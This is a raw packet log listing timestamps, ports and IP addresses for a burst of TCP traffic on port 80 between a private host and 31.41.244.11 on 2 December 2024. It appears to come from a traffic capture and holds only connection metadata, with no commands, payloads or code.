Dec 2, 2024 11:21:10.474982023 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475001097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.475001097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.475053072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475085020 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475132942 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.475208044 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.475239992 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475325108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475390911 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.475445986 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475483894 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.475507021 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475553036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475581884 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475625992 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475665092 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.475666046 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.475768089 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475775003 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.475815058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475860119 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475945950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475980997 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.475986958 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.476023912 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.476094961 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476104975 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.476157904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476186991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476300955 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.476382971 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476427078 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476458073 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476500988 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476511002 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.476511002 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.476572990 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476603985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476650000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476655960 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.476707935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476728916 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.476752996 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476808071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.476862907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476867914 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.476958990 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.476990938 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477003098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.477092981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477106094 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.477236986 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.477392912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477442980 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477488995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477534056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477550983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.477585077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477632046 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477637053 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.477689028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477719069 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477730036 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.477780104 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477787971 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.477829933 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.477854013 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477884054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.477965117 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.477988005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478013039 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.478050947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478080034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478122950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478133917 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.478199005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.478243113 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478274107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478305101 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.478334904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478394032 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.478476048 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478482008 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.478521109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478605986 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478627920 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.478671074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478703022 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478748083 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.478836060 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.478924036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.478970051 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479000092 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479043961 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479058027 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.479058027 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.479118109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479149103 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479190111 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.479316950 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.479371071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479415894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479446888 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479490995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479501963 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.479501963 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.479561090 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479593039 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479636908 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479644060 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.479697943 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479718924 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.479743958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479770899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.479850054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479856014 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.479908943 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.479939938 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.480005980 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.480053902 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.480129957 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.480175972 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.480206966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.480268002 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.480268002 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.480356932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.480402946 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.480432034 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.480488062 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.480488062 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.480834961 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.480880976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.480910063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.480953932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.480967999 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.481019974 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481024981 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.481061935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481106043 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481113911 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.481175900 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.481226921 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481259108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481266022 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.481318951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481363058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481369972 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.481450081 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.481450081 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.481491089 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481542110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481585979 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481615067 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481671095 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.481671095 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.481882095 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481926918 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.481957912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482034922 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.482083082 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.482177019 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482223988 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482251883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482296944 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482320070 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.482359886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482371092 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.482407093 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482455969 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482460976 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.482511997 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482527018 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.482558966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482601881 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482618093 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.482670069 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.482722044 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482755899 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482760906 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.482815027 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.482867002 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.482956886 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.483038902 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483068943 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483112097 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483155012 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483192921 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.483217001 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483247995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483258009 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.483309984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483314991 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.483366966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483375072 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.483412981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483458042 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483477116 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.483525038 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.483607054 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.483645916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483675957 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483802080 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.483871937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483916998 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483947992 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.483999968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484009981 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.484062910 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484093904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484103918 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.484148026 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.484168053 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484214067 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484221935 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.484260082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484323025 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.484370947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484376907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.484428883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484458923 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484503031 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484591007 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484599113 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.484599113 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.484702110 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484734058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484751940 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.484816074 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.484858036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.484867096 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.484918118 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485021114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485093117 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.485121012 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485167980 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485198975 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485243082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485258102 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.485306978 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.485362053 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485452890 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485466957 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.485518932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485563040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485583067 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.485625029 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485654116 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485697985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485713005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.485713959 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.485810041 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.485863924 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485893965 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.485908031 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.485955000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486037970 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.486088991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486120939 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486129045 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.486181974 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486363888 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.486365080 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.486413956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486462116 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486506939 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486536026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486547947 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.486547947 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.486608028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486653090 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486675024 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.486700058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486743927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486754894 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.486754894 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.486855030 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486885071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486929893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.486974955 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.487031937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.487062931 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.487078905 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.487078905 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.487206936 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.487299919 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.487340927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.487385035 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.487392902 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.487508059 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.487508059 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.487639904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.487685919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.487716913 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.487793922 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.487840891 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.487863064 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.487907887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.487951994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.487994909 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488013983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.488040924 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488061905 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.488102913 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488137007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.488205910 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488276005 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.488339901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488368988 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.488401890 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488431931 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488482952 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.488585949 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.488668919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488701105 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488744974 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488789082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488818884 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488833904 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.488881111 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488888979 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.488888979 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.488949060 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.488980055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489013910 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.489041090 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489084959 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489145994 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.489209890 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.489340067 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489387989 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489445925 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489479065 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489521980 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489551067 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489564896 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.489564896 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.489610910 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.489634991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.489706993 CET	49753	80	192.168.11.20	31.41.244.11
